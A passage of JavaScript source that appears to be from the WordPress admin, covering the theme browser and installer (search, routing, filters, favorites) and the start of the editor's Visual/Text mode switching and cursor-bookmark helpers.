	announceSearchResults: function( count ) {
		if ( 0 === count ) {
			wp.a11y.speak( l10n.noThemesFound );
		} else {
			wp.a11y.speak( l10n.themesFound.replace( '%d', count ) );
		}
	}
});

// Search input view controller.
themes.view.Search = wp.Backbone.View.extend({

	tagName: 'input',
	className: 'wp-filter-search',
	id: 'wp-filter-search-input',
	searching: false,

	attributes: {
		placeholder: l10n.searchPlaceholder,
		type: 'search',
		'aria-describedby': 'live-search-desc'
	},

	events: {
		'input': 'search',
		'keyup': 'search',
		'blur': 'pushState'
	},

	initialize: function( options ) {

		this.parent = options.parent;

		this.listenTo( this.parent, 'theme:close', function() {
			this.searching = false;
		} );

	},

	search: function( event ) {
		// Clear on escape.
		if ( event.type === 'keyup' && event.which === 27 ) {
			event.target.value = '';
		}

		// Since doSearch is debounced, it will only run when user input comes to a rest.
		this.doSearch( event );
	},

	// Runs a search on the theme collection.
	doSearch: function( event ) {
		var options = {};

		this.collection.doSearch( event.target.value.replace( /\+/g, ' ' ) );

		// if search is initiated and key is not return.
		if ( this.searching && event.which !== 13 ) {
			options.replace = true;
		} else {
			this.searching = true;
		}

		// Update the URL hash.
		if ( event.target.value ) {
			themes.router.navigate( themes.router.baseUrl( themes.router.searchPath + event.target.value ), options );
		} else {
			themes.router.navigate( themes.router.baseUrl( '' ) );
		}
	},

	pushState: function( event ) {
		var url = themes.router.baseUrl( '' );

		if ( event.target.value ) {
			url = themes.router.baseUrl( themes.router.searchPath + encodeURIComponent( event.target.value ) );
		}

		this.searching = false;
		themes.router.navigate( url );

	}
});

/**
 * Navigate router.
 *
 * @since 4.9.0
 *
 * @param {string} url - URL to navigate to.
 * @param {Object} state - State.
 * @return {void}
 */
function navigateRouter( url, state ) {
	var router = this;
	if ( Backbone.history._hasPushState ) {
		Backbone.Router.prototype.navigate.call( router, url, state );
	}
}

// Sets up the routes events for relevant url queries.
// Listens to [theme] and [search] params.
themes.Router = Backbone.Router.extend({

	routes: {
		'themes.php?theme=:slug': 'theme',
		'themes.php?search=:query': 'search',
		'themes.php?s=:query': 'search',
		'themes.php': 'themes',
		'': 'themes'
	},

	baseUrl: function( url ) {
		return 'themes.php' + url;
	},

	themePath: '?theme=',
	searchPath: '?search=',

	search: function( query ) {
		$( '.wp-filter-search' ).val( query.replace( /\+/g, ' ' ) );
	},

	themes: function() {
		$( '.wp-filter-search' ).val( '' );
	},

	navigate: navigateRouter

});

// Execute and setup the application.
themes.Run = {
	init: function() {
		// Initializes the blog's theme library view.
		// Create a new collection with data.
		this.themes = new themes.Collection( themes.data.themes );

		// Set up the view.
		this.view = new themes.view.Appearance({
			collection: this.themes
		});

		this.render();

		// Start debouncing user searches after Backbone.history.start().
		this.view.SearchView.doSearch = _.debounce( this.view.SearchView.doSearch, 500 );
	},

	render: function() {

		// Render results.
		this.view.render();
		this.routes();

		if ( Backbone.History.started ) {
			Backbone.history.stop();
		}
		Backbone.history.start({
			root: themes.data.settings.adminUrl,
			pushState: true,
			hashChange: false
		});
	},

	routes: function() {
		var self = this;
		// Bind to our global thx object
		// so that the object is available to sub-views.
		themes.router = new themes.Router();

		// Handles theme details route event.
		themes.router.on( 'route:theme', function( slug ) {
			self.view.view.expand( slug );
		});

		themes.router.on( 'route:themes', function() {
			self.themes.doSearch( '' );
			self.view.trigger( 'theme:close' );
		});

		// Handles search route event.
		themes.router.on( 'route:search', function() {
			$( '.wp-filter-search' ).trigger( 'keyup' );
		});

		this.extraRoutes();
	},

	extraRoutes: function() {
		return false;
	}
};

// Extend the main Search view.
themes.view.InstallerSearch =  themes.view.Search.extend({

	events: {
		'input': 'search',
		'keyup': 'search'
	},

	terms: '',

	// Handles Ajax request for searching through themes in public repo.
	search: function( event ) {

		// Tabbing or reverse tabbing into the search input shouldn't trigger a search.
		if ( event.type === 'keyup' && ( event.which === 9 || event.which === 16 ) ) {
			return;
		}

		this.collection = this.options.parent.view.collection;

		// Clear on escape.
		if ( event.type === 'keyup' && event.which === 27 ) {
			event.target.value = '';
		}

		this.doSearch( event.target.value );
	},

	doSearch: function( value ) {
		var request = {};

		// Don't do anything if the search terms haven't changed.
		if ( this.terms === value ) {
			return;
		}

		// Updates terms with the value passed.
		this.terms = value;

		request.search = value;

		/*
		 * Intercept an [author] search.
		 *
		 * If input value starts with `author:` send a request
		 * for `author` instead of a regular `search`.
		 */
		if ( value.substring( 0, 7 ) === 'author:' ) {
			request.search = '';
			request.author = value.slice( 7 );
		}

		/*
		 * Intercept a [tag] search.
		 *
		 * If input value starts with `tag:` send a request
		 * for `tag` instead of a regular `search`.
		 */
		if ( value.substring( 0, 4 ) === 'tag:' ) {
			request.search = '';
			request.tag = [ value.slice( 4 ) ];
		}

		$( '.filter-links li > a.current' )
			.removeClass( 'current' )
			.removeAttr( 'aria-current' );

		$( 'body' ).removeClass( 'show-filters filters-applied show-favorites-form' );
		$( '.drawer-toggle' ).attr( 'aria-expanded', 'false' );

		// Get the themes by sending Ajax POST request to api.wordpress.org/themes
		// or searching the local cache.
		this.collection.query( request );

		// Set route.
		themes.router.navigate( themes.router.baseUrl( themes.router.searchPath + encodeURIComponent( value ) ), { replace: true } );
	}
});

themes.view.Installer = themes.view.Appearance.extend({

	el: '#wpbody-content .wrap',

	// Register events for sorting and filters in theme-navigation.
	events: {
		'click .filter-links li > a': 'onSort',
		'click .theme-filter': 'onFilter',
		'click .drawer-toggle': 'moreFilters',
		'click .filter-drawer .apply-filters': 'applyFilters',
		'click .filter-group [type="checkbox"]': 'addFilter',
		'click .filter-drawer .clear-filters': 'clearFilters',
		'click .edit-filters': 'backToFilters',
		'click .favorites-form-submit' : 'saveUsername',
		'keyup #wporg-username-input': 'saveUsername'
	},

	// Initial render method.
	render: function() {
		var self = this;

		this.search();
		this.uploader();

		this.collection = new themes.Collection();

		// Bump `collection.currentQuery.page` and request more themes if we hit the end of the page.
		this.listenTo( this, 'theme:end', function() {

			// Make sure we are not already loading.
			if ( self.collection.loadingThemes ) {
				return;
			}

			// Set loadingThemes to true and bump page instance of currentQuery.
			self.collection.loadingThemes = true;
			self.collection.currentQuery.page++;

			// Use currentQuery.page to build the themes request.
			_.extend( self.collection.currentQuery.request, { page: self.collection.currentQuery.page } );
			self.collection.query( self.collection.currentQuery.request );
		});

		this.listenTo( this.collection, 'query:success', function() {
			$( 'body' ).removeClass( 'loading-content' );
			$( '.theme-browser' ).find( 'div.error' ).remove();
		});

		this.listenTo( this.collection, 'query:fail', function() {
			$( 'body' ).removeClass( 'loading-content' );
			$( '.theme-browser' ).find( 'div.error' ).remove();
			$( '.theme-browser' ).find( 'div.themes' ).before( '<div class="error"><p>' + l10n.error + '</p><p><button class="button try-again">' + l10n.tryAgain + '</button></p></div>' );
			$( '.theme-browser .error .try-again' ).on( 'click', function( e ) {
				e.preventDefault();
				$( 'input.wp-filter-search' ).trigger( 'input' );
			} );
		});

		if ( this.view ) {
			this.view.remove();
		}

		// Sets up the view and passes the section argument.
		this.view = new themes.view.Themes({
			collection: this.collection,
			parent: this
		});

		// Reset pagination every time the install view handler is run.
		this.page = 0;

		// Render and append.
		this.$el.find( '.themes' ).remove();
		this.view.render();
		this.$el.find( '.theme-browser' ).append( this.view.el ).addClass( 'rendered' );
	},

	// Handles all the rendering of the public theme directory.
	browse: function( section ) {
		// Create a new collection with the proper theme data
		// for each section.
		if ( 'block-themes' === section ) {
			// Get the themes by sending Ajax POST request to api.wordpress.org/themes
			// or searching the local cache.
			this.collection.query( { tag: 'full-site-editing' } );
		} else {
			this.collection.query( { browse: section } );
		}
	},

	// Sorting navigation.
	onSort: function( event ) {
		var $el = $( event.target ),
			sort = $el.data( 'sort' );

		event.preventDefault();

		$( 'body' ).removeClass( 'filters-applied show-filters' );
		$( '.drawer-toggle' ).attr( 'aria-expanded', 'false' );

		// Bail if this is already active.
		if ( $el.hasClass( this.activeClass ) ) {
			return;
		}

		this.sort( sort );

		// Trigger a router.navigate update.
		themes.router.navigate( themes.router.baseUrl( themes.router.browsePath + sort ) );
	},

	sort: function( sort ) {
		this.clearSearch();

		// Track sorting so we can restore the correct tab when closing preview.
		themes.router.selectedTab = sort;

		$( '.filter-links li > a, .theme-filter' )
			.removeClass( this.activeClass )
			.removeAttr( 'aria-current' );

		$( '[data-sort="' + sort + '"]' )
			.addClass( this.activeClass )
			.attr( 'aria-current', 'page' );

		if ( 'favorites' === sort ) {
			$( 'body' ).addClass( 'show-favorites-form' );
		} else {
			$( 'body' ).removeClass( 'show-favorites-form' );
		}

		this.browse( sort );
	},

	// Filters and Tags.
	onFilter: function( event ) {
		var request,
			$el = $( event.target ),
			filter = $el.data( 'filter' );

		// Bail if this is already active.
		if ( $el.hasClass( this.activeClass ) ) {
			return;
		}

		$( '.filter-links li > a, .theme-section' )
			.removeClass( this.activeClass )
			.removeAttr( 'aria-current' );
		$el
			.addClass( this.activeClass )
			.attr( 'aria-current', 'page' );

		if ( ! filter ) {
			return;
		}

		// Construct the filter request
		// using the default values.
		filter = _.union( [ filter, this.filtersChecked() ] );
		request = { tag: [ filter ] };

		// Get the themes by sending Ajax POST request to api.wordpress.org/themes
		// or searching the local cache.
		this.collection.query( request );
	},

	// Clicking on a checkbox to add another filter to the request.
	addFilter: function() {
		this.filtersChecked();
	},

	// Applying filters triggers a tag request.
	applyFilters: function( event ) {
		var name,
			tags = this.filtersChecked(),
			request = { tag: tags },
			filteringBy = $( '.filtered-by .tags' );

		if ( event ) {
			event.preventDefault();
		}

		if ( ! tags ) {
			wp.a11y.speak( l10n.selectFeatureFilter );
			return;
		}

		$( 'body' ).addClass( 'filters-applied' );
		$( '.filter-links li > a.current' )
			.removeClass( 'current' )
			.removeAttr( 'aria-current' );

		filteringBy.empty();

		_.each( tags, function( tag ) {
			name = $( 'label[for="filter-id-' + tag + '"]' ).text();
			filteringBy.append( '<span class="tag">' + name + '</span>' );
		});

		// Get the themes by sending Ajax POST request to api.wordpress.org/themes
		// or searching the local cache.
		this.collection.query( request );
	},

	// Save the user's WordPress.org username and get his favorite themes.
	saveUsername: function ( event ) {
		var username = $( '#wporg-username-input' ).val(),
			nonce = $( '#wporg-username-nonce' ).val(),
			request = { browse: 'favorites', user: username },
			that = this;

		if ( event ) {
			event.preventDefault();
		}

		// Save username on enter.
		if ( event.type === 'keyup' && event.which !== 13 ) {
			return;
		}

		return wp.ajax.send( 'save-wporg-username', {
			data: {
				_wpnonce: nonce,
				username: username
			},
			success: function () {
				// Get the themes by sending Ajax POST request to api.wordpress.org/themes
				// or searching the local cache.
				that.collection.query( request );
			}
		} );
	},

	/**
	 * Get the checked filters.
	 *
	 * @return {Array} of tags or false
	 */
	filtersChecked: function() {
		var items = $( '.filter-group' ).find( ':checkbox' ),
			tags = [];

		_.each( items.filter( ':checked' ), function( item ) {
			tags.push( $( item ).prop( 'value' ) );
		});

		// When no filters are checked, restore initial state and return.
		if ( tags.length === 0 ) {
			$( '.filter-drawer .apply-filters' ).find( 'span' ).text( '' );
			$( '.filter-drawer .clear-filters' ).hide();
			$( 'body' ).removeClass( 'filters-applied' );
			return false;
		}

		$( '.filter-drawer .apply-filters' ).find( 'span' ).text( tags.length );
		$( '.filter-drawer .clear-filters' ).css( 'display', 'inline-block' );

		return tags;
	},

	activeClass: 'current',

	/**
	 * When users press the "Upload Theme" button, show the upload form in place.
	 */
	uploader: function() {
		var uploadViewToggle = $( '.upload-view-toggle' ),
			$body = $( document.body );

		uploadViewToggle.on( 'click', function() {
			// Toggle the upload view.
			$body.toggleClass( 'show-upload-view' );
			// Toggle the `aria-expanded` button attribute.
			uploadViewToggle.attr( 'aria-expanded', $body.hasClass( 'show-upload-view' ) );
		});
	},

	// Toggle the full filters navigation.
	moreFilters: function( event ) {
		var $body = $( 'body' ),
			$toggleButton = $( '.drawer-toggle' );

		event.preventDefault();

		if ( $body.hasClass( 'filters-applied' ) ) {
			return this.backToFilters();
		}

		this.clearSearch();

		themes.router.navigate( themes.router.baseUrl( '' ) );
		// Toggle the feature filters view.
		$body.toggleClass( 'show-filters' );
		// Toggle the `aria-expanded` button attribute.
		$toggleButton.attr( 'aria-expanded', $body.hasClass( 'show-filters' ) );
	},

	/**
	 * Clears all the checked filters.
	 *
	 * @uses filtersChecked()
	 */
	clearFilters: function( event ) {
		var items = $( '.filter-group' ).find( ':checkbox' ),
			self = this;

		event.preventDefault();

		_.each( items.filter( ':checked' ), function( item ) {
			$( item ).prop( 'checked', false );
			return self.filtersChecked();
		});
	},

	backToFilters: function( event ) {
		if ( event ) {
			event.preventDefault();
		}

		$( 'body' ).removeClass( 'filters-applied' );
	},

	clearSearch: function() {
		$( '#wp-filter-search-input').val( '' );
	}
});

themes.InstallerRouter = Backbone.Router.extend({
	routes: {
		'theme-install.php?theme=:slug': 'preview',
		'theme-install.php?browse=:sort': 'sort',
		'theme-install.php?search=:query': 'search',
		'theme-install.php': 'sort'
	},

	baseUrl: function( url ) {
		return 'theme-install.php' + url;
	},

	themePath: '?theme=',
	browsePath: '?browse=',
	searchPath: '?search=',

	search: function( query ) {
		$( '.wp-filter-search' ).val( query.replace( /\+/g, ' ' ) );
	},

	navigate: navigateRouter
});


themes.RunInstaller = {

	init: function() {
		// Set up the view.
		// Passes the default 'section' as an option.
		this.view = new themes.view.Installer({
			section: 'popular',
			SearchView: themes.view.InstallerSearch
		});

		// Render results.
		this.render();

		// Start debouncing user searches after Backbone.history.start().
		this.view.SearchView.doSearch = _.debounce( this.view.SearchView.doSearch, 500 );
	},

	render: function() {

		// Render results.
		this.view.render();
		this.routes();

		if ( Backbone.History.started ) {
			Backbone.history.stop();
		}
		Backbone.history.start({
			root: themes.data.settings.adminUrl,
			pushState: true,
			hashChange: false
		});
	},

	routes: function() {
		var self = this,
			request = {};

		// Bind to our global `wp.themes` object
		// so that the router is available to sub-views.
		themes.router = new themes.InstallerRouter();

		// Handles `theme` route event.
		// Queries the API for the passed theme slug.
		themes.router.on( 'route:preview', function( slug ) {

			// Remove existing handlers.
			if ( themes.preview ) {
				themes.preview.undelegateEvents();
				themes.preview.unbind();
			}

			// If the theme preview is active, set the current theme.
			if ( self.view.view.theme && self.view.view.theme.preview ) {
				self.view.view.theme.model = self.view.collection.findWhere( { 'slug': slug } );
				self.view.view.theme.preview();
			} else {

				// Select the theme by slug.
				request.theme = slug;
				self.view.collection.query( request );
				self.view.collection.trigger( 'update' );

				// Open the theme preview.
				self.view.collection.once( 'query:success', function() {
					$( 'div[data-slug="' + slug + '"]' ).trigger( 'click' );
				});

			}
		});

		/*
		 * Handles sorting / browsing routes.
		 * Also handles the root URL triggering a sort request
		 * for `popular`, the default view.
		 */
		themes.router.on( 'route:sort', function( sort ) {
			if ( ! sort ) {
				sort = 'popular';
				themes.router.navigate( themes.router.baseUrl( '?browse=popular' ), { replace: true } );
			}
			self.view.sort( sort );

			// Close the preview if open.
			if ( themes.preview ) {
				themes.preview.close();
			}
		});

		// The `search` route event. The router populates the input field.
		themes.router.on( 'route:search', function() {
			$( '.wp-filter-search' ).trigger( 'focus' ).trigger( 'keyup' );
		});

		this.extraRoutes();
	},

	extraRoutes: function() {
		return false;
	}
};

// Ready...
$( function() {
	if ( themes.isInstall ) {
		themes.RunInstaller.init();
	} else {
		themes.Run.init();
	}

	// Update the return param just in time.
	$( document.body ).on( 'click', '.load-customize', function() {
		var link = $( this ), urlParser = document.createElement( 'a' );
		urlParser.href = link.prop( 'href' );
		urlParser.search = $.param( _.extend(
			wp.customize.utils.parseQueryString( urlParser.search.substr( 1 ) ),
			{
				'return': window.location.href
			}
		) );
		link.prop( 'href', urlParser.href );
	});

	$( '.broken-themes .delete-theme' ).on( 'click', function() {
		return confirm( _wpThemeSettings.settings.confirmDelete );
	});
});

})( jQuery );

// Align theme browser thickbox.
jQuery( function($) {
	window.tb_position = function() {
		var tbWindow = $('#TB_window'),
			width = $(window).width(),
			H = $(window).height(),
			W = ( 1040 < width ) ? 1040 : width,
			adminbar_height = 0;

		if ( $('#wpadminbar').length ) {
			adminbar_height = parseInt( $('#wpadminbar').css('height'), 10 );
		}

		if ( tbWindow.length >= 1 ) {
			tbWindow.width( W - 50 ).height( H - 45 - adminbar_height );
			$('#TB_iframeContent').width( W - 50 ).height( H - 75 - adminbar_height );
			tbWindow.css({'margin-left': '-' + parseInt( ( ( W - 50 ) / 2 ), 10 ) + 'px'});
			if ( typeof document.body.style.maxWidth !== 'undefined' ) {
				tbWindow.css({'top': 20 + adminbar_height + 'px', 'margin-top': '0'});
			}
		}
	};

	$(window).on( 'resize', function(){ tb_position(); });
});
/**
 * @output wp-admin/js/editor.js
 */

window.wp = window.wp || {};

( function( $, wp ) {
	wp.editor = wp.editor || {};

	/**
	 * Utility functions for the editor.
	 *
	 * @since 2.5.0
	 */
	function SwitchEditors() {
		var tinymce, $$,
			exports = {};

		function init() {
			if ( ! tinymce && window.tinymce ) {
				tinymce = window.tinymce;
				$$ = tinymce.$;

				/**
				 * Handles onclick events for the Visual/Text tabs.
				 *
				 * @since 4.3.0
				 *
				 * @return {void}
				 */
				$$( document ).on( 'click', function( event ) {
					var id, mode,
						target = $$( event.target );

					if ( target.hasClass( 'wp-switch-editor' ) ) {
						id = target.attr( 'data-wp-editor-id' );
						mode = target.hasClass( 'switch-tmce' ) ? 'tmce' : 'html';
						switchEditor( id, mode );
					}
				});
			}
		}

		/**
		 * Returns the height of the editor toolbar(s) in px.
		 *
		 * @since 3.9.0
		 *
		 * @param {Object} editor The TinyMCE editor.
		 * @return {number} If the height is between 10 and 200 return the height,
		 * else return 30.
		 */
		function getToolbarHeight( editor ) {
			var node = $$( '.mce-toolbar-grp', editor.getContainer() )[0],
				height = node && node.clientHeight;

			if ( height && height > 10 && height < 200 ) {
				return parseInt( height, 10 );
			}

			return 30;
		}

		/**
		 * Switches the editor between Visual and Text mode.
		 *
		 * @since 2.5.0
		 *
		 * @memberof switchEditors
		 *
		 * @param {string} id The id of the editor you want to change the editor mode for. Default: `content`.
		 * @param {string} mode The mode you want to switch to. Default: `toggle`.
		 * @return {void}
		 */
		function switchEditor( id, mode ) {
			id = id || 'content';
			mode = mode || 'toggle';

			var editorHeight, toolbarHeight, iframe,
				editor = tinymce.get( id ),
				wrap = $$( '#wp-' + id + '-wrap' ),
				$textarea = $$( '#' + id ),
				textarea = $textarea[0];

			if ( 'toggle' === mode ) {
				if ( editor && ! editor.isHidden() ) {
					mode = 'html';
				} else {
					mode = 'tmce';
				}
			}

			if ( 'tmce' === mode || 'tinymce' === mode ) {
				// If the editor is visible we are already in `tinymce` mode.
				if ( editor && ! editor.isHidden() ) {
					return false;
				}

				// Insert closing tags for any open tags in QuickTags.
				if ( typeof( window.QTags ) !== 'undefined' ) {
					window.QTags.closeAllTags( id );
				}

				editorHeight = parseInt( textarea.style.height, 10 ) || 0;

				var keepSelection = false;
				if ( editor ) {
					keepSelection = editor.getParam( 'wp_keep_scroll_position' );
				} else {
					keepSelection = window.tinyMCEPreInit.mceInit[ id ] &&
									window.tinyMCEPreInit.mceInit[ id ].wp_keep_scroll_position;
				}

				if ( keepSelection ) {
					// Save the selection.
					addHTMLBookmarkInTextAreaContent( $textarea );
				}

				if ( editor ) {
					editor.show();

					// No point to resize the iframe in iOS.
					if ( ! tinymce.Env.iOS && editorHeight ) {
						toolbarHeight = getToolbarHeight( editor );
						editorHeight = editorHeight - toolbarHeight + 14;

						// Sane limit for the editor height.
						if ( editorHeight > 50 && editorHeight < 5000 ) {
							editor.theme.resizeTo( null, editorHeight );
						}
					}

					if ( editor.getParam( 'wp_keep_scroll_position' ) ) {
						// Restore the selection.
						focusHTMLBookmarkInVisualEditor( editor );
					}
				} else {
					tinymce.init( window.tinyMCEPreInit.mceInit[ id ] );
				}

				wrap.removeClass( 'html-active' ).addClass( 'tmce-active' );
				$textarea.attr( 'aria-hidden', true );
				window.setUserSetting( 'editor', 'tinymce' );

			} else if ( 'html' === mode ) {
				// If the editor is hidden (Quicktags is shown) we don't need to switch.
				if ( editor && editor.isHidden() ) {
					return false;
				}

				if ( editor ) {
					// Don't resize the textarea in iOS.
					// The iframe is forced to 100% height there, we shouldn't match it.
					if ( ! tinymce.Env.iOS ) {
						iframe = editor.iframeElement;
						editorHeight = iframe ? parseInt( iframe.style.height, 10 ) : 0;

						if ( editorHeight ) {
							toolbarHeight = getToolbarHeight( editor );
							editorHeight = editorHeight + toolbarHeight - 14;

							// Sane limit for the textarea height.
							if ( editorHeight > 50 && editorHeight < 5000 ) {
								textarea.style.height = editorHeight + 'px';
							}
						}
					}

					var selectionRange = null;

					if ( editor.getParam( 'wp_keep_scroll_position' ) ) {
						selectionRange = findBookmarkedPosition( editor );
					}

					editor.hide();

					if ( selectionRange ) {
						selectTextInTextArea( editor, selectionRange );
					}
				} else {
					// There is probably a JS error on the page.
					// The TinyMCE editor instance doesn't exist. Show the textarea.
					$textarea.css({ 'display': '', 'visibility': '' });
				}

				wrap.removeClass( 'tmce-active' ).addClass( 'html-active' );
				$textarea.attr( 'aria-hidden', false );
				window.setUserSetting( 'editor', 'html' );
			}
		}

		/**
		 * Checks if a cursor is inside an HTML tag or comment.
		 *
		 * In order to prevent breaking HTML tags when selecting text, the cursor
		 * must be moved to either the start or end of the tag.
		 *
		 * This will prevent the selection marker to be inserted in the middle of an HTML tag.
		 *
		 * This function gives information whether the cursor is inside a tag or not, as well as
		 * the tag type, if it is a closing tag and check if the HTML tag is inside a shortcode tag,
		 * e.g. `[caption]<img.../>..`.
		 *
		 * @param {string} content The test content where the cursor is.
		 * @param {number} cursorPosition The cursor position inside the content.
		 *
		 * @return {(null|Object)} Null if cursor is not in a tag, Object if the cursor is inside a tag.
		 */
		function getContainingTagInfo( content, cursorPosition ) {
			var lastLtPos = content.lastIndexOf( '<', cursorPosition - 1 ),
				lastGtPos = content.lastIndexOf( '>', cursorPosition );

			if ( lastLtPos > lastGtPos || content.substr( cursorPosition, 1 ) === '>' ) {
				// Find what the tag is.
				var tagContent = content.substr( lastLtPos ),
					tagMatch = tagContent.match( /<\s*(\/)?(\w+|\!-{2}.*-{2})/ );

				if ( ! tagMatch ) {
					return null;
				}

				var tagType = tagMatch[2],
					closingGt = tagContent.indexOf( '>' );

				return {
					ltPos: lastLtPos,
					gtPos: lastLtPos + closingGt + 1, // Offset by one to get the position _after_ the character.
					tagType: tagType,
					isClosingTag: !! tagMatch[1]
				};
			}
			return null;
		}

		/**
		 * Checks if the cursor is inside a shortcode
		 *
		 * If the cursor is inside a shortcode wrapping tag, e.g. `[caption]` it's better to
		 * move the selection marker to before or after the shortcode.
		 *
		 * For example `[caption]` rewrites/removes anything that's between the `[caption]` tag and the
		 * `<img/>` tag inside.
		 *
		 * `[caption]<span>ThisIsGone</span><img .../>[caption]`
		 *
		 * Moving the selection to before or after the short code is better, since it allows to select
		 * something, instead of just losing focus and going to the start of the content.
		 *
		 * @param {string} content The text content to check against.
		 * @param {number} cursorPosition    The cursor position to check.
		 *
		 * @return {(undefined|Object)} Undefined if the cursor is not wrapped in a shortcode tag.
		 *                              Information about the wrapping shortcode tag if it's wrapped in one.
		 */
		function getShortcodeWrapperInfo( content, cursorPosition ) {
			var contentShortcodes = getShortCodePositionsInText( content );

			for ( var i = 0; i < contentShortcodes.length; i++ ) {
				var element = contentShortcodes[ i ];

				if ( cursorPosition >= element.startIndex && cursorPosition <= element.endIndex ) {
					return element;
				}
			}
		}

		/**
		 * Gets a list of unique shortcodes or shortcode-look-alikes in the content.
		 *
		 * @param {string} content The content we want to scan for shortcodes.
		 */
		function getShortcodesInText( content ) {
			var shortcodes = content.match( /\[+([\w_-])+/g ),
				result = [];

			if ( shortcodes ) {
				for ( var i = 0; i < shortcodes.length; i++ ) {
					var shortcode = shortcodes[ i ].replace( /^\[+/g, '' );

					if ( result.indexOf( shortcode ) === -1 ) {
						result.push( shortcode );
					}
				}
			}

			return result;
		}

		/**
		 * Gets all shortcodes and their positions in the content
		 *
		 * This function returns all the shortcodes that could be found in the textarea content
		 * along with their character positions and boundaries.
		 *
		 * This is used to check if the selection cursor is inside the boundaries of a shortcode
		 * and move it accordingly, to avoid breakage.
		 *
		 * @link adjustTextAreaSelectionCursors
		 *
		 * The information can also be used in other cases when we need to lookup shortcode data,
		 * as it's already structured!
		 *
		 * @param {string} content The content we want to scan for shortcodes
		 */
		function getShortCodePositionsInText( content ) {
			var allShortcodes = getShortcodesInText( content ), shortcodeInfo;

			if ( allShortcodes.length === 0 ) {
				return [];
			}

			var shortcodeDetailsRegexp = wp.shortcode.regexp( allShortcodes.join( '|' ) ),
				shortcodeMatch, // Define local scope for the variable to be used in the loop below.
				shortcodesDetails = [];

			while ( shortcodeMatch = shortcodeDetailsRegexp.exec( content ) ) {
				/**
				 * Check if the shortcode should be shown as plain text.
				 *
				 * This corresponds to the [[shortcode]] syntax, which doesn't parse the shortcode
				 * and just shows it as text.
				 */
				var showAsPlainText = shortcodeMatch[1] === '[';

				shortcodeInfo = {
					shortcodeName: shortcodeMatch[2],
					showAsPlainText: showAsPlainText,
					startIndex: shortcodeMatch.index,
					endIndex: shortcodeMatch.index + shortcodeMatch[0].length,
					length: shortcodeMatch[0].length
				};

				shortcodesDetails.push( shortcodeInfo );
			}

			/**
			 * Get all URL matches, and treat them as embeds.
			 *
			 * Since there isn't a good way to detect if a URL by itself on a line is a previewable
			 * object, it's best to treat all of them as such.
			 *
			 * This means that the selection will capture the whole URL, in a similar way shrotcodes
			 * are treated.
			 */
			var urlRegexp = new RegExp(
				'(^|[\\n\\r][\\n\\r]|<p>)(https?:\\/\\/[^\s"]+?)(<\\/p>\s*|[\\n\\r][\\n\\r]|$)', 'gi'
			);

			while ( shortcodeMatch = urlRegexp.exec( content ) ) {
				shortcodeInfo = {
					shortcodeName: 'url',
					showAsPlainText: false,
					startIndex: shortcodeMatch.index,
					endIndex: shortcodeMatch.index + shortcodeMatch[ 0 ].length,
					length: shortcodeMatch[ 0 ].length,
					urlAtStartOfContent: shortcodeMatch[ 1 ] === '',
					urlAtEndOfContent: shortcodeMatch[ 3 ] === ''
				};

				shortcodesDetails.push( shortcodeInfo );
			}

			return shortcodesDetails;
		}

		/**
		 * Generate a cursor marker element to be inserted in the content.
		 *
		 * `span` seems to be the least destructive element that can be used.
		 *
		 * Using DomQuery syntax to create it, since it's used as both text and as a DOM element.
		 *
		 * @param {Object} domLib DOM library instance.
		 * @param {string} content The content to insert into the cursor marker element.
		 */
		function getCursorMarkerSpan( domLib, content ) {
			return domLib( '<span>' ).css( {
						display: 'inline-block',
						width: 0,
						overflow: 'hidden',
						'line-height': 0
					} )
					.html( content ? content : '' );
		}

		/**
		 * Gets adjusted selection cursor positions according to HTML tags, comments, and shortcodes.
		 *
		 * Shortcodes and HTML codes are a bit of a special case when selecting, since they may render
		 * content in Visual mode. If we insert selection markers somewhere inside them, it's really possible
		 * to break the syntax and render the HTML tag or shortcode broken.
		 *
		 * @link getShortcodeWrapperInfo
		 *
		 * @param {string} content Textarea content that the cursors are in
		 * @param {{cursorStart: number, cursorEnd: number}} cursorPositions Cursor start and end positions
		 *
		 * @return {{cursorStart: number, cursorEnd: number}}
		 */
		function adjustTextAreaSelectionCursors( content, cursorPositions ) {
			var voidElements = [
				'area', 'base', 'br', 'col', 'embed', 'hr', 'img', 'input',
				'keygen', 'link', 'meta', 'param', 'source', 'track', 'wbr'
			];

			var cursorStart = cursorPositions.cursorStart,
				cursorEnd = cursorPositions.cursorEnd,
				// Check if the cursor is in a tag and if so, adjust it.
				isCursorStartInTag = getContainingTagInfo( content, cursorStart );

			if ( isCursorStartInTag ) {
				/**
				 * Only move to the start of the HTML tag (to select the whole element) if the tag
				 * is part of the voidElements list above.
				 *
				 * This list includes tags that are self-contained and don't need a closing tag, according to the
				 * HTML5 specification.
				 *
				 * This is done in order to make selection of text a bit more consistent when selecting text in
				 * `<p>` tags or such.
				 *
				 * In cases where the tag is not a void element, the cursor is put to the end of the tag,
				 * so it's either between the opening and closing tag elements or after the closing tag.
				 */
				if ( voidElements.indexOf( isCursorStartInTag.tagType ) !== -1 ) {
					cursorStart = isCursorStartInTag.ltPos;
				} else {
					cursorStart = isCursorStartInTag.gtPos;
				}
			}

			var isCursorEndInTag = getContainingTagInfo( content, cursorEnd );
			if ( isCursorEndInTag ) {
				cursorEnd = isCursorEndInTag.gtPos;
			}

			var isCursorStartInShortcode = getShortcodeWrapperInfo( content, cursorStart );
			if ( isCursorStartInShortcode && ! isCursorStartInShortcode.showAsPlainText ) {
				/**
				 * If a URL is at the start or the end of the content,
				 * the selection doesn't work, because it inserts a marker in the text,
				 * which breaks the embedURL detection.
				 *
				 * The best way to avoid that and not modify the user content is to
				 * adjust the cursor to either after or before URL.
				 */
				if ( isCursorStartInShortcode.urlAtStartOfContent ) {
					cursorStart = isCursorStartInShortcode.endIndex;
				} else {
					cursorStart = isCursorStartInShortcode.startIndex;
				}
			}

			var isCursorEndInShortcode = getShortcodeWrapperInfo( content, cursorEnd );
			if ( isCursorEndInShortcode && ! isCursorEndInShortcode.showAsPlainText ) {
				if ( isCursorEndInShortcode.urlAtEndOfContent ) {
					cursorEnd = isCursorEndInShortcode.startIndex;
				} else {
					cursorEnd = isCursorEndInShortcode.endIndex;
				}
			}

			return {
				cursorStart: cursorStart,
				cursorEnd: cursorEnd
			};
		}

		/**
		 * Adds text selection markers in the editor textarea.
		 *
		 * Adds selection markers in the content of the editor `textarea`.
		 * The method directly manipulates the `textarea` content, to allow TinyMCE plugins
		 * to run after the markers are added.
		 *
		 * @param {Object} $textarea TinyMCE's textarea wrapped as a DomQuery object
		 */
		function addHTMLBookmarkInTextAreaContent( $textarea ) {
			if ( ! $textarea || ! $textarea.length ) {
				// If no valid $textarea object is provided, there's nothing we can do.
				return;
			}

			var textArea = $textarea[0],
